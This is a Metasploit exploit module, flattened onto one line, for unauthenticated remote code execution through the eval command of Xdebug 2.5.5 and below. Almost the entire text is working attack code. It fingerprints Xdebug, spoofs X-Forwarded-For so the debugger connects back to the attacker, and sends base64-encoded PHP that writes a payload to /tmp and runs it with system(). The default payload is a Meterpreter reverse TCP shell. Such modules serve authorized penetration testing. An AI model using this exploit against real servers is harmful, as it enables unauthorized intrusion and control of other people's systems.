## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient include Rex::Proto::Http include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'xdebug Unauthenticated OS Command Execution', 'Description' => %q{ Module exploits a vulnerability in the eval command present in Xdebug versions 2.5.5 and below. This allows the attacker to execute arbitrary php code as the context of the web user. }, 'DisclosureDate' => 'Sep 17 2017', 'Author' => [ 'Ricter Zheng', #Discovery https://twitter.com/RicterZ 'Shaksham Jaiswal', # MinatoTW 'Mumbai' # Austin Hudson ], 'References' => [ ['URL', 'https://redshark1802.com/blog/2015/11/13/xpwn-exploiting-xdebug-enabled-servers/'], ['URL', 'https://paper.seebug.org/397/'] ], 'License' => MSF_LICENSE, 'Platform' => 'php', 'Arch' => [ARCH_PHP], 'DefaultTarget' => 0, 'Stance' => Msf::Exploit::Stance::Aggressive, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, 'Payload' => { 'DisableNops' => true, }, 'Targets' => [[ 'Automatic', {} ]], )) register_options([ OptString.new('PATH', [ true, "Path to target webapp", "/index.php"]), OptAddress.new('SRVHOST', [ true, "Callback host for accepting connections", "0.0.0.0"]), OptInt.new('SRVPORT', [true, "Port to listen for the debugger", 9000]), Opt::RPORT(80), OptString.new('WriteableDir', [ true, "A writeable directory on the target", "/tmp"]) ]) end def check begin res = send_request_cgi({ 'uri' => datastore["PATH"], 'method' => 'GET', 'vars_get' => { 'XDEBUG_SESSION_START' => rand_text_alphanumeric(10) } }) vprint_status "Request sent\n#{res.headers}" if res && res.headers.to_s =~ /XDEBUG/i vprint_good("Looks like remote server has xdebug enabled\n") return CheckCode::Detected else return CheckCode::Safe end rescue Rex::ConnectionError return CheckCode::Unknown end end def exploit payl = Rex::Text.encode_base64("#{payload.encoded}") file = "#{datastore['WriteableDir']}"+"/"+rand_text_alphanumeric(5) cmd1 = "eval -i 1 -- " + Rex::Text.encode_base64("file_put_contents(\"#{file}\",base64_decode(\"#{payl}\")) && system(\" php #{file} \")") + "\x00" webserver = Thread.new do begin server = Rex::Socket::TcpServer.create( 'LocalPort' => datastore['SRVPORT'], 'LocalHost' => datastore['SRVHOST'], 'Context' => { 'Msf' => framework, 'MsfExploit' => self }) client = server.accept print_status("Waiting for client response.") data = client.recv(1024) print_status("Receiving response") vprint_line(data) print_status("Shell might take upto a minute to respond.Please be patient.") print_status("Sending payload of size #{cmd1.length} bytes") register_file_for_cleanup(file) client.write(cmd1) client.close server.close webserver.exit ensure webserver.exit end end send_request_cgi({ 'uri' => datastore['PATH'], 'method' => 'GET', 'headers' => { 'X-Forwarded-For' => "#{lhost}", 'Cookie' => 'XDEBUG_SESSION='+rand_text_alphanumeric(10) } }) end end